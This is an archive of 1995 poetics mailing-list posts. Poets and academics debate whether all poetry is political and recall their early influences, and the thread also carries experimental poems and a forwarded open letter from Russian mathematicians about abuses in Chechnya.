Latching on to and decontextualizing Tony Green's words, I want to suggest that saying "all poetry is political" does not necessarily collapse the two, not unless one's sense of poetry is quite limited. (Not that I imagine Tony's is, but) poetry lives, all poetry I'd argue, in a variety of neighborhoods simultaneously.

To say all poetry is political is not the same as saying: all poetry is ONLY political. But then the temptation to modify political with "only" may suggest a particular attitude toward politics.

It's just such a limiting or constraining definition/delimitation of politics that seems implicit in the 'ass-kissing' interpretation of revisionist (in the good sense) U.S. history.

To respond as if such political claims were only about "you" or "me" (just as TG flinches gainst one collapse) is to collapse the political into the personal--this is not the aim of the familiar slogan.

The scale of the issues most recently put to words by Pelton, Nielsen, Schultz and others makes such a reduction--who me?, my politics?, my grandparents?--absurd. Personal guilt is hardly sufficient or even meaningful retribution for genocide.

I wonder if Ed and Lindz would be more or less revolted if I said poetry is political because personhood too is political. This is written several hours after watching Nightline coverage of the OK disaster which began with a sequence of brief testimonials by Americans across the country expressing their outrage, that this could happen in a 'free society' (in three of 10 or so clips), assuming an us/them, we're-at-war attitude within hours, before it's even remotely clear what the cause of the blast is. Meanwhile Ted K. displays pictures of Beirut bombings and prods guests to assert that the 'truck bomb' M.O. makes it likely these are Islamic terrorists too!

Being at the Calumet Arts Cafe, listening to Steve Lacy and Irene Aebi perform Creeley and Spicer poems instead of watching this quote news unquote quote develop unquote becomes, in retrospect, political too.

And, in response to Nielsen's earlier question about the constitution of whiteness:

One can argue that Poetry is not Political; ONE name for the priviledge to do so is 'whiteness'.

Ken Sherwood

↑ Index

417. **Edward Foster**
Re: re-politics again
Thu 20 Apr 1995

yes, maybe, i think what/where. hmmmm: analysis operates by rules, and rules are after the fact. analysis says it discovers or clarifies; in fact it continually reinvents itself, is propositional. analysis is not poetry, tho poetry may analyze. right?

↑ Index

418. **Edward Foster**
Re: The poetics of whiteness
Thu 20 Apr 1995

no, ken, i wouldn't be revolted. that business "the personal is political" is much ingrained (sp?) these days, and you can't escape the personal, i think, if only because the words are always yours. but that's the flaw, the reason every poem fails.

↑ Index

419. **Edward Foster**
Re: The poetics of whiteness
Thu 20 Apr 1995

i'd also be careful about the "privilege" business; look at it closely and you're still in discourse, pleasing to foucault's descendants, but perhaps (?) yet another god, another code, another thou shalt. in society necessary . . . but in the poem?

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420. **Tony Green**
Re: throttled by angels
Thu 20 Apr 1995

Thinking slowly over Ken Sherwood and Spencer Selby's "re-politics again posts" Poetry Always or Poetry Only Political? The space between poetry and theory.

"Chthonic". Howling. Oklahoma horror, grief and pity. Poetry as something that stems from beyond words to speak. Ecstatic. That was at root of my sense of any/all art 1950's teenage mutant years. Unlikely locations for this in writing in my reading in Faber & Faber Eliot/Pound/Stevens/Louis MacNeice --"Autumn

Journal"+ Hopkins(Penguin) + Dylan Thomas collected, but not usually found. Lorca. Reading for over a year through A la Recherche... writing clumsily little love lyrics (Geez! how embarrassing) and participating in genteel poetry society at school NETWORK ANNOUNCEMENT TEAM NZ AHEAD OF I AUS BY l2 SECS AT FIRST MARK with vocal noise poetry piece, phonemic but not words, sudden erupting"avant-gardism". With so much engagement with process and question of where "authentic" poetry comes from (like music)and elimination of "statement" + "content" I wd have been a sucker for Tzara? but that was way outside what I could find then. Otherwise and later at Cambridge, I got to read (other people's poems mainly) aloud at the gatherings in Senior Tutor's rooms, Tom Henn, Yeats scholar extraordinaire. This nostalgia stuff ends here -- Dept staff meeting in 2 mins. Questions of Workloads.

Where I'm coming from there is political and other discourses are simply irrelevant at most levels of composing. Is that the space between Spencer. Seen from a distance by a Subject, I guess the poet/poetry as Object can be subjected to any and every -ology. No doubt it's proper to think of such things.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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421. Tony Green
1st mark
Thu 20 Apr 1995

Unreliable too. 1 Aus is ahead, not Team NZ.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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422. **Marisa A Januzzi**
Re: throttled by angels
Thu 20 Apr 1995

Chris: Yeah!

Cendrars too. And Berrigan. They aren't taught much (yet) but when I found them early on they made me weak in the knees! Still do.

Marisa

↑ Index

423. **cris cheek**
Re: poeticslist serve and desire / the 39 steps
Thu 20 Apr 1995

pockets through whose opened threads books drop with protestable innocence into lining - sustaining a greenness for learning. plastic-wrapped and hidden in that honey was his out. corrupted dreams turning a blind form - sweetness. weeping an illusory ownership - our lot.

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424. **Tom Mandel**
Re: Don't cut that 'Vette, hand me the Peruvian flake
Thu 20 Apr 1995

Peruvian flake? Is it alright to mention Peruvian flake on the Internet now that Newt et. al. have staged their conceptual coup of the Infobahn? Does anybody remember Peruvian flake? Remember anything before Peruvian flake?

Chris, I'm delighted by your notion that time in Stillwater (or other) Prison wd be drug-free. Just say no?

On the 'vette; please! it's fiberglass and won't rust. But I'll never push it on you. Hank, brake out the driving gloves.

Tom Mandel

↑ Index

425. **Tom Mandel**
Re: re-politics again
Thu 20 Apr 1995

> *The relation between something called poetry and something called politics is deeply obscure.*

Tony, I'd like you to unpack the logic of this assertion. In what sense(s) is this an obscure relation? Do you mean that the relationship of Dante's poetry to the politics of his life or era is "obscure?" (I assume not). Do you mean the politics of Pasolini's poetry, or for that matter of Montale's, is obscure? Again, I assume not. Do you simply mean these relations are difficult or complicated? Sure, but this is evidence for their importance, their inward deepness, not against. Or do you mean the relations between two abstractions "poetry" and "politics" are what is obscure? Watch out, that smacks of theory!

> *To say that poetry is always political*
> *collapses one into the other.*

To say that live beings are always breathing is reductive?

Tom Mandel

(!All-Italian examples unconscious response to Susan Schultz!?)

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426. Tom Mandel
Re: re-politics again
Thu 20 Apr 1995

Poetry may analyze as it may praise or criticize embrace or shun. The claim that poetry is political is an altogether different claim that all human life is political, a conviction that individual life, individual consciousness, individual action, occur subsequent to a political placement out of which that individual that individuality grows. This is minimally the claim; it is a simple one and to my way of thinking (I mean my way of experiencing the world and the sum of those experiences as well) it is true.

Authors, language, rhyme in no/every sense, these do not
exist in an eternity of unplaced place. Ideas are not in
dialogue but all humans are, those dead as those alive.
The life of the word, what we call poetry, is this emergent
fact or facet. To call it political is no more than to point
out that history cannot be reduced to a set of adjectives or
qualities, but is people speaking back consciously and
unconsciously out of their conditions and in response
to judgment. Poetry is out of that place, the minim
of the soul - when we can reach it - is from there too.
Paradise too, like poetry, is political.

Tom Mandel

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427. Gary Sullivan
Re: Don't cut that 'Vette, hand me the Peruvian flake
Thu 20 Apr 1995

Dear Tom:

>Peruvian flake?
Sure.

>Is it alright to mention Peruvian flake on the Internet now that Newt et. al. have staged their conceptual coup of the Infobahn?
Newt et al. can kiss my arrogant young ass.

>Does anybody remember Peruvian flake?
Obviously.

>Remember anything before Peruvian flake?
Yes, but it'd take a hell of a lot of Peruvian flake to kick-start the ol' memory. & by that time, who'd care?

>Chris, I'm delighted by your notion that time in Stillwater (or other) Prison wd be drug-free.
Steve, I said "drugless" -- would you believe me, if I said I'd meant "less drugs"? (I didn't, but, you know, "work with me here" ...)

>Just say no?
Never.

>On the 'vette; please! It's fiberglass and won't rust.
When Dan Davidson & George Albon & I'd go out bookhunting, if we found an item all of us wanted (& simultaneously grabbed for), we'd play: "Who Would Appreciate This Most?" Each had a couple of minutes to whine, grovel, recite, make magnificent claims as to "how many years" [Dan, George or] "I have been looking for this," etc. In this instance, because of my ignorance as to what the ding-danged *body* of the car is made of, I think Hank'd win.

>I'd never push it on you.
Thanks. Don't back it up over me, either.

>Hank, break out the driving gloves.
Ibid.

Yours,

Gary

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428. **Tony Green**
Re: re-politics again
Thu 20 Apr 1995

> *The relation between something called poetry and something called politics is deeply obscure. My sentence ran.*

Tom Mandel writes: # Tony, I'd like you to unpack the logic of this assertion. In what sense(s) is this an obscure relation? Do you mean that the relationship of Dante's poetry to the politics of his life or era is "obscure?" (I assume not).

Oh but yes, selva oscura as it gets -- concerned with the moral behaviour of contemporaries, can be read as if it were journalism. I guess you mean it can be done with the *poetry * of Dante. Does that though finish with it, does its effort and effect end there, or does that leave a large remainder of unread aspect.

#Do you simply# (no I'm writing out of confused complexity) # mean these relations are difficult or complicated?# Complicated by the verse or song. And I agree, good thing that complexity.

do you mean the relations between two abstractions "poetry" and "politics" are what is obscure? # Yes, it is terminology that I'm bothered by. Not so much "abstractions" as very slippery words. Politics seems in the context of writing to cover sometimes (often? usually?) the topic about which writing states positions and makes arguments. There's a bbbut there, isn't there? Is that all that the poem does? It can also be extended to consideration of the stance implied by address to audience, publication. But isn't there "something "in the movement of the hearer trough the perfomrance of the poem (especially heard, but also read as if said or sung) that is working?

" Poetry" in the context of political views and opinions tends to be treated as instrumental.

#Watch out, that smacks of theory!#

Yes, of course, "smacks of", but what *theory* is that then?

"To say that poetry is always political collapses one into the other." I said. Ken says "only political" would be more appropriate there.

To say that live beings are always breathing is reductive?#

Analogy has its moments. This may be one of them, but I don't think so.

Montale, I've read a little of and I guess you're right there.

I'm not frightened by politics and by theory. But those, as discourses, or topics, sometimes claim the right to the last word in critical judgment and prescription.

That, as I see it, is out of order. (And isn't that what is complained of in the New Criticism?)

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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429. **Tony Green**
Re: 1st mark
Thu 20 Apr 1995

>Unreliable too. 1 Aus is ahead, not Team NZ.
Mark Roberts writes:" Don't worry I'm sure 1 Aus will sink if it
looks like winning!!

It was weird the newsflash came up. I half read it, assumed that NZ was winning. But of course I had to get it off screen to go on writing. And simply read what I "wanted" to happen..

Do you know what is happening with the superleague. I got that wrong too it seems abt the Warriors.?

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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430. **cris cheek**
throttled by angels
Fri 21 Apr 1995

When i was learning to read (aged 5-7) my dad would regularly read me 'The Jabberwocky' or 'The Courtship of the Yongy-Bongy Bo' at bedtime. Left an indelible impression re - playfulness and word invention, edge between seeming

nonsense and almost understanding being delightfully teased or exquisitely interfered with.

School gave flashes in amongst the Chaucer / Shakespeare of something more 'parallel'. But, at that time, the short poems by Wordsworth or Keats or Donne I was accessed to seemed too neat to interface with the complexities of life as I was growing into it. I went to the same school as Manley-Hopkins and liked his sound (particularly in something like 'Harry Ploughman') but suspected his beliefs.

Primary influence was Jimi Hendrix (my socks spontaneously combusted!) - seeing him in concert a couple of times when i was 12 years old (including the guitar burning at the Albert Hall). The inter-related line between improvisation and composition - melody, rhythm and noise in dynamic tension - sensuality of engagement with textures of consciousness - railing against closure - inclusion of failure - embracing energies. Got me into poetry. Left school determined to learn something.

Hung out as a seventeen year old in bookshops and hit the Rimbaud / de Nerval / Lautremont / Baudelaire / Jarry / Arp / Tzara trail pretty hard. Also Shelley / Thomas Love Peacock and Blake.

At nineteen i 'lucked out' in meeting Eric Mottram, Allen Fisher, Bob Cobbing, Bill Griffiths and many others. But between the four of them they introduced me to poets from all of the Americas, art movements such as Fluxus, Lettrism, DIAS and Mail Art, Sound Poetry and Text-Sound Composition and Early English poetry (in particular Icelandic, Norse and Anglo-Saxon fragments).

A few things to be going on with.

Over the past three weeks I've been reading Lorca and Brecht and yes Spicer and listening to Tricky.

cris

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431. Michael Boughn
Politcal poultry
Fri 21 Apr 1995

All poetry is political?

Well, all politics is spiritual. All religion is aesthetic.

Are these propositions anything more than an exercise in forcing one human activity to signify in the terms of another? A violent translation of one order of meaning into another? An assertion of the bottomless interconnectednesss of every gesture we make?

Name the one that's true and you name your dream of foundation and kneel before your priests (who Blake called Druids because of their sacrifice of the human).

Mike

[redacted]

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432. Kevin Killian
Throttled by angels
Fri 21 Apr 1995

My ego can't resist telling the world (at least this small world) about my early influences. Growing up a working class in Indiana it was difficult to find out about anything. An art teacher at my high school lent me her copy of Moholy Nagy's Vision in Motion, an old textbook for the Institute of Design. The last hundred pages were about "contemporary" literature, where I learned of Joyce, Stein, the writings of the insane and children, and surrealism. I studied this book for a couple of years, as if it were a bible, trying to ingest a conceptual framework to hang this stuff on. The illustration on the cover of Women's Issue of Mirage comes from this book.

Then there was Baudelaire and more Baudelaire and more Baudelaire.

I was always reading A Controversy of Poets without much understanding.

Genet was god and Violette LeDuc was the goddess.

And Sylvia Plath continues to this day to be an unending source of inspiration. I bow down to Jacqueline Rose for FINALLY writing about Plath with the intelligence and respect she deserves.

Dodie Bellamy

↑ Index

433. eric pape
Re: re-politics again
Fri 21 Apr 1995

Let's say that something escapes, something transcends, soemthing goes beyond. Let's just say that.

What would it go beyond, what would be escaped? Onlyexchange.

Isn't it entirely political to say, in the context of all out monopoly capitalism, that something escapes colonialization, even if all we are saying is that some small part of some art is all that goes beyond?

To say that, I think, would not be to "collapse art into the political" at all but would in fact make a very bold claim for art.

Thanks, Eric.

↑ Index

434. **Joe Amato**
Re: Politcal poultry
Fri 21 Apr 1995

mike and others: if "all poetry is political" strikes you as a truism, perhaps that's because you're operating out of (or in) a context (by which i mean to say a historically situated place) in which such a statement is viewed as such... where i've spent most of my time (in industry, and in academe) MOST of the folks i've run into OBJECT to this assertion... despite all of the brouhaha associated with pc and cultural studies and and and, fact is a clear majority of academics (which includes in my anecdotal recollection at least three generations of same) as well as a clear majority of factory workers (blue, white and baby blue collar) would not quite understand at first glance the connection twixt the poetic and the political...

all by way of saying, without going on too too long, that there's surely a context *against which* "all poetry is political" resonates as something other than a truism... so i take you to be saying that that context is not particularly interesting, pertinent, what have you... but then i'd want you to clarify how it is you perceive that context... quickly, from my pov, the assertion gains currency as a connoisseurship notion of art loses currency...

what do you say?...

joe

↑ Index

435. **Edward Foster**
Re: re-politics again
Fri 21 Apr 1995

careful, tom, using the word "political" as you do makes it mushy, i think, rather like yet another oversoul or collective unconscious, a good ground for theoretical elaborations, it may be, but in poetry, enough?

↑ Index

436. Edward Foster
Re: poeticslist serve and desire / the 39 steps
Fri 21 Apr 1995

not to move across the lot: these forests and the one to kneel. so i am, and in this watch him gather close. poet, there is nothing left to choose, or as the wise one said: be like god.

↑ Index

437. Loss Glazier
Tyuonyi
Fri 21 Apr 1995

Does anyone have a current address for Tyuonyi? Is it still being published? Any mail I send gets returned...
Loss

↑ Index

438. Pierre Joris
Human Rights in Russia (fwd)
Fri 21 Apr 1995

Forwarded message:
From: [redacted]
Date: Fri, 21 Apr 1995 13:43:51 -0400
To: [redacted]
Cc: [redacted], [redacted], [redacted],
[redacted], DJB85, Joris, [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted]
Subject: Human Rights in Russia

Please help forward this to conscious beings everywhere. Thanks, GQ

Forwarded message:
From: [redacted]
To: [redacted], [redacted],
[redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted], [redacted], [redacted],

[redacted], [redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted], [redacted]
Date: 95-04-21 01:26:17 EDT

This was forwarded to me recently. Make of it what you will. Kyogen

---

---------- Forwarded message ----------
Date: Sun, 16 Apr 1995 19:14:57 -0700
From: Gary Lee Betts <[redacted]>
To: [redacted]
Subject: nice

I received the following from a Czech mathematician friend of mine.

I should forward you a letter from three Russian mathematicians - I'd be wondering whether anyone in the States cares about what's going on in Russia. just explain you what's so important on this letter - those three guys are definitely one of the best Russian mathematicians of younger generation (between 30-40). One of them - Drinfeld is a Fields medailist and he was first who introduced quantum groups and recognized their importance in math. physics.

He's spent his whole life in Kharkov where he's still working, in contrast to many Russian mathematician (usually of the world top level) who immediately after 1990 escaped Russia and took prof positions at prestigious universities over the world.

LETTER

Dear friends,

We are compelled to write to you from the feeling that terrible crimes committed by Russian authorities and armed forces in Chechnya are not accidental, and that we are all responsible for them. These crimes, according to the testimony of the journalists, defenders of human rights, and mothers of the soldiers fighting there, include not only bombing towns and villages inhabited by civilians but also the capturing of hostages, robberies, organization of filtration camps where people, incarcerated on the basis of their race, are cruelly beaten, tortured, maimed and murdered.

All these actions should be characterized as GENOCIDE and Crime against Humanity. And they can not be considered merely as an internal affair of Russia.

Chechen crisis is not accidental. It reveals the criminal essence of the political regime that is being formed in Russia. The most dangerous aspect of the present situation is the absence of a clear appreciation of this fact.

Instead in the public opinion, especially in the West, there still exists the myth that Russia is moving towards democracy and reforms and, unless Yeltsin is supported, fascists of the type of Zhirinovsky will take over.

We consider this opinion as deeply erroneous. Supporting democracy and human rights by words, the regime is persecuting them in the cynical and brutal way. Many facts give evidence for this, such as beatings and killings of the honest journalists and human rights defenders who get and publish information dangerous for the regime, criminal and corrupted methods of the privatization, and many other things. Now there is an attempt of annihilation of a whole nation.

Acting by fascist methods the regime uses Zhirinovsky and the threat of fascism for manipulating public opinion.

Russia is not moving by the path of democracy and human rights. A new regime, unusual in its cruelty and falsehood, is being born.

Whether the criminal regime or democracy with human face will take over in Russia, will in the first place depend on people in Russia, our ability to understand the danger and take responsibility, our courage and will to stand against evil.

However the realization by people in the West of the true state of affairs in Russia and the support of democracy, not Yeltsin, are also crucial.

We ask your help in spreading our letter.

A.Belavin (e-mail: [redacted])
V.Drinfeld ([redacted])
B.Feigin ([redacted])

==========
========== Pierre Joris | He who wants to escape the world, translates it. Dept. of English | --Henri Michaux SUNY Albany | Albany NY 12222 | "Herman has taken to writing poetry. You tel&fax:[redacted] | need not tell anyone, for you know how email: | such things get around." [redacted]| --Mrs. Melville in a letter to her mother.
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↑ Index

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[redacted], [redacted]
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From: [redacted]
To: [redacted], [redacted],
[redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted], [redacted], [redacted],
[redacted], [redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
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↑ Index

440. FUNKHOUSER CHRISTOPH

Human Rights in Russia (fwd)

Fri 21 Apr 1995

Forwarded message:
From: [redacted]
Date: Fri, 21 Apr 1995 13:44:00 -0400
To: [redacted]

Cc: [redacted], [redacted], [redacted],
[redacted] (jackliskin), [redacted],
cf2785 (funkhouserchristoph), [redacted], [redacted],
[redacted]
Subject: Human Rights in Russia

Please help forward this to conscious beings everywhere. GQ

Forwarded message:
From: [redacted]
To: [redacted], [redacted],
[redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted], [redacted], [redacted],
[redacted], [redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted], [redacted]
Date: 95-04-21 01:26:17 EDT

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To: [redacted]
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B.Feigin ([redacted])

↑ Index

441. **cris cheek**
Re: poeticslist serve and desire / the 39 steps
Fri 21 Apr 1995

---

and God chose four dog foods instead of three - the better to rut up his roots and thus shit on the supplicant, without even asking! his many forms of preference auctioned. a memory of skins (mosses) by leaf-light refreshing

↑ Index

442. **cris cheek**
Re: poeticslist serve and desire / the 39 steps
Fri 21 Apr 1995

---

trading a confetti floor, paged "look Book, what a lot of got!" embracing - distance - none the wiser (vamping) "un-der-nea-th th-e spre-a-din-g po-e-t-re-e". her nuts gathering nankum with abandon 'til death stealing angel-days a poverty of enlightenment pinched out

↑ Index

443. **Spencer Selby**
Re: Tyuonyi
Fri 21 Apr 1995

Good question. If you learn the answer, let me know. And I will ask around also.

On Fri, 21 Apr 1995, Loss Glazier wrote:

> *Does anyone have a current address for Tyuonyi? Is it still being published? Any mail I send gets returned...*
> *Loss*

↑ Index

444. Spencer Selby
Re: re-politics again
Fri 21 Apr 1995

On Thu, 20 Apr 1995, Tom Mandel wrote:

> *Authors, language, rhyme in no/every sense, these do not exist in an eternity of unplaced place.*

This seems either an extreme exaggeration or a misunderstanding of what I, Ed, Tony and others have maintained.

Poetry exists within all these contexts, political and otherwise. But it also exceeds all these contexts, in so far as it is alive and has its own artistic kind of totality. This life isn't nowhere or totally autonomous or in eternity, but it is autonomous to the degree that it cannot be entirely pinned down or explained. Often, if the work is very good, there will be more disagreement than agreement regarding its positions, meaning, significance. We can and should be concerned with the work's positions, we can and should grapple with and even argue about the work's value and meaning, if it comes to that. But we should do this always keeping in mind that the work exceeds all of this thought and discourse. To me, this is not elevating the work to some eternal beyond, it is just showing respect for life--the same kind of respect I would give to any living organism or entity.

Spencer Selby

↑ Index

445. Tom Mandel
Re: re-politics again
Fri 21 Apr 1995

Ed Foster writes:

"careful, tom, using the word "political" as you do makes it mushy, i think, rather like yet another oversoul or collective unconscious, a good ground for theoretical elaborations, it may be, but in poetry, enough?"

in response, I guess, to my:

> "Authors, language, rhyme in no/every sense, these do not exist in an eternity of unplaced place. Ideas are not in dialogue but all humans are, those dead as those alive. The life of the word, what we call poetry, is this emergent fact or facet."

"I guess" in the sense that I can't find anything else in my words that reasonably could suggest "politics" in relation to (much less "rather like") "yet another oversoul."

But, my words really read the opposite, don't they, Ed? People in dialogue. The part the dead play in this dialogue is me echoing Bakhtin's beautiful words:

"There is no first or last discourse, and dialogical context knows no limits...At every moment of the dialogue, there are immense and unlimited masses of forgotten meanings, but, in some subsequent moments, as the dialogue moves forward they will return to memory and live in renewed form...Nothing is absolutely dead: every meaning will celebrate its rebirth."

(I've just cut/pasted that from some notes of mine on B; can't supply the reference immediately, but wd find it for anyone interested.)

In other words, I don't think I'm occulting the poetic object by calling it political, merely pointing out the act of witness and the transmission thereof, which is something that comes back and is capable of new meaning. The specificity and multiplicity of each poetic act arise out of the political condition of that witness. No doubt I'm simply convinced, and my puzzlement that anyone should not just and plainly see that as the difference between one language and another is a political fact, so is the difference between one word and another - and so is the rhyme between one word and another... this puzzlement I say must just be me thinking a thing straightforward which to another doesn't exist...

It's funny, Ron Silliman and I first encountered each other nearly twenty years ago on a panel at Intersection (in SF) called "Politics & Poetry" where I said more or less what I'm saying now. (I say "encountered" because we'd certainly met a few times before, but never entered any kind of dialogue).

My argument that night long ago turned on a passage quoted from Mao's little red book, beginning "Where do correct ideas come from?"

I don't think they fall from the sky. No oversouls.

Tom Mandel

↑ Index

446. AARON SHURIN
Re Mandel/Mao
Sat 22 Apr 1995

There are no correct ideas.

↑ Index

447. **Alan Sondheim**
Re: Re Mandel/Mao
Sat 22 Apr 1995

On Fri, 21 Apr 1995, AARON SHURIN wrote:

> There are no correct ideas.
  Your idea is incorrect.

↑ Index

448. **Mn Center For Book Arts**
Re: Re Mandel/Mao
Sat 22 Apr 1995

On Fri, 21 Apr 1995, AARON SHURIN wrote:

> *There are no correct ideas.*

Are there, then, any incorrect ideas?

Or are all ideas incorrect?

charles alexander

↑ Index

449. **cris cheek**
the 38 (?) steps / the 39 steps
Sat 22 Apr 1995

---

as Herb Levy kindly pointed out this post should in fact read:

trading a confetti floor, paged "look Book, what a lot of got!" embracing - distance - none the wiser (vamping) "un-der-nea-th th-e spre-a-din-g po-e-t-re-e". her nuts gathering nankum with abandon 'til death stealing angel-days a poverty of enlightenment pinched out -

↑ Index

450. **Michael Boughn**
Re: Political poultry
Sat 22 Apr 1995

Dear Joe:

Well, if you find yourself on the horns of that dilemma, I guess you've gotta use what you've got to get what you need.

Just don't forget where your categories come from, and what they do to the world.

And be careful what you think you need, because you just might get it.

Aphoristically yours,
Mike
[redacted]

↑ Index

451. Sheila E. Murphy
CHANGE OF ADDRESS
Sat 22 Apr 1995

Please note new address for Sheila E. Murphy, effective immediately.

Thanks.

↑ Index

452. eric pape
Re: Re Mandel/Mao
Sat 22 Apr 1995

"Are there then any incorrect ideas?"

I find it funny such a question is asked (however rhetorically) in the wake of the Oklahoma City bombing, where it now seems apparent that the car bomb was placed by a rightist militia group, or someone associated with a rightist militia group (already, on NET ⍰an ultraconservative sydicated network popular here⍰ they are bemoaning the "lefty media" that is "persecuting" these militia groups).

Ed, the elephants, big dumb creatures that they are, have turned to wolves (no harm to actual animals was intended by his post). And the thing is, they've already started feeding.

Thanks, Eric.

↑ Index

453. Edward Foster
Re: Throttled by angels
Sat 22 Apr 1995

dodie, i share, in some degree, that pleasure in plath, and only wish someone, surely not an academic, could salvage her from those who use her for ends she never imagined. -ed

↑ Index

454. **Edward Foster**
Re: re-politics again
Sat 22 Apr 1995

i think that's absolutely right, spencer; otherwise, the integrity is reflectionand the work loses its joy.

↑ Index

455. **Edward Foster**
Re: re-politics again
Sat 22 Apr 1995

no, tom, i don't think one writes in that emphasis; bakhtin is actually pernicious, seeing movement in the work as in the experience as namable rather than merely manifest. i have no problem with "occult" but with "theologians" (such as jung).

↑ Index

456. **Edward Foster**
Re: Re Mandel/Mao
Sat 22 Apr 1995

true, eric, and that's why a safari is called for, the trouble being that it is a diversion from the real work. still, i guess from time to time you have to sweep the floor and sharpen the pencils.

↑ Index

457. **Lindz Williamson**
Re: Definition: Language Poetry
Sun 23 Apr 1995

On Wed, 19 Apr 1995, Blair Seagram wrote:

> I have seen the problems that arose with definitions of post modern and
> deconstruction. I sometimes wonder if it has to do with their use in
> several disciplines or is it that we are still too close to it.
>
> I am wondering if someone can give me a definition or several of language
> poetry.
>
> Blair
>

I'm interested in the concept of language poetry, writing into and away from language. Poetic manipulation of form and connotation is an art form that I quite admire. I also wonder if we are somewhat too close to define post modernism, although I consider myself too young to ever be a post modernist. I was recently writing on Atwood and Marian Engel and both of them admitted they never consciously wrote in a post modern frame of mind, yet their wrote is typically suited to this genre.

Any thoughts?

Lindz

↑ Index

458. **Kevin Killian**
Re: re-politics again
Sun 23 Apr 1995

> *every once in a regretable while something like an Aristotelean moment descends.*

Bravo, Kathryne!

Dodie Bellamy

↑ Index

459. **Carl Lynden Peters**
definitions...
Sun 23 Apr 1995

dear blair and lindz,

you've ruined it once you've defined it

best,
carl

↑ Index

460. **Carl Lynden Peters**
Re: genre!?
Sun 23 Apr 1995

...can someone tell me what a postmodern genre is? --i mean just the word genre, itself, that's a dirty word, right -- (??

and who/m really thinks and writes in terms of genre anymore. maybe it's me, i know, i hate the word. but i,m interested in hearing what you think...

best,
carl

↑ Index

461. **Ryan Knighton**
Re: Definition: Language Poetry
Sun 23 Apr 1995

It's interesting this should come up right now. I was talking with Georges (STanley and Bowering) the other night and Stanley raised that wonderful Spicer quote "language is the furniture in the room". But he placed an emphasis on it I hadn't heard before: "language is _only_ the furniture in the room". I love the analogy but I don't know if I agree with "only". I tend to feel that Blaser is right: language is never a tool that one employs or a device or anything like that. It is older than you, it is bigger than you and if anything it employs you.

The other issue which was hot in our talk was the potential of language poetry. What more can it do? Its role in the feminist discourse is essential, I think. But when history is interrogated syntactically and the fragments are thrown to the wind, what or can anything be erected in its place?)no phallic pun intended(Than again, everything's still kinda fuzzy so we may have been talking about something else.

↑ Index

462. **kathryne lindberg**
Re: re-politics again
Sun 23 Apr 1995

every once in a regretable while something like an Aristotelean moment descends. Therefore I want to say something like everything that is directed even individually to/from people is polis/political The study of the cause effect and cost effectiveness of any communications might be called Politics. Then, again, it might be called Rhetoric. Now and AGAIN, it might be called Poetics. When such moments roughly related to Aristotle strike, I try to remind myself that Aristotle was after discursive power, in need of throwing off Plato, struck by a categorical imperative that would, in the fullness of Hericlitan time,travel under names like Hegel, Kant, and yourselves.

In any case, when one says poetry is political, nothing much has been said. Neigh pa, it's just the old Trojan Horse fucking around at Oedipal and editorial crossroads making us mulishly repeat old saws. Whether in French or cross-linguistically, poetry and politics partake, punningly, of more references than one would wish to police--in this lifetime. Both terms, it seems to me,

participate in a general effort to get from this one here to you all out there; both, intimately involved in choosing or bearing an assigned ethos/position, involve us everywhere and all the time. Once again to mistranslate, Jacques Derrida, there is no outside to the interstices. For this condition poetry--rather poetics--and/or politics is a prodcutive moniker, if not a proper name or useful category. No?

↑ Index

463. Carl Lynden Peters
: Language Poetry
Sun 23 Apr 1995

ryan,

when i think of language poetry, i think of creeley.

best,
carl

↑ Index

464. Kevin Killian
Throttling
Sun 23 Apr 1995

From Kevin Killian: I don't remember what poets we read in school. The book we had to read was called "A Separate Peace." But I remember being furious and moping around my parents' house when Time magazine said Frank O'Hara had been killed by a dune buggy on Fire Island.

I was very pouty for weeks & my dad said, "Why don't you write to Louis Zukofsky?" I perkled up & asked him who he was. He didn't really know, but LZ had been on the same TV program (NET) that O'Hara was. "And plus," he said, "he lives in Port Jefferson. And he's always writing letters to the editor" [of our nearby paper, The Port Jefferson "Record"]-"complaining about this or that."

Well I got on my bike, I was like 13 or 14, and headed to Port Jefferson which was about 10 miles away and went to the house of Louis Zukofsky. He would always write letters to the paper about traffic in front of his house, etc.

He was not happy to see me-I don't think he cared for school children. I was about 13. He was a mean curmudgeon, but the garden was beautiful to my eyes. I resolved as soon as I was old enough to get a drivers license, to take a big station wagon and drive right through his hedges, in the middle of the night. I think my brief encounter with Zukofsky colored the rest of my reading

of him, ever since. "99 Flowers" indeed! He wouldn't have had 1 flower left if I had had my way! Luckily my childhood anger faded by the time I was 15 or so and started to drive. I didn't meet any other poets until I was about 17 and met Paul Blackburn in New York. But Alex Haley did come to our classroom & told us all about writing the "Autobiography of Malcolm X."

I'm reading this over & I'm, like, stunned at how stupid I sound.

> *Well,*
> *that's one version of my "THROTTLING" Any others? Chris*

↑ Index

465. **Tony Green**
Re: Definition: Language Poetry
Sun 23 Apr 1995

My machine would not oblige
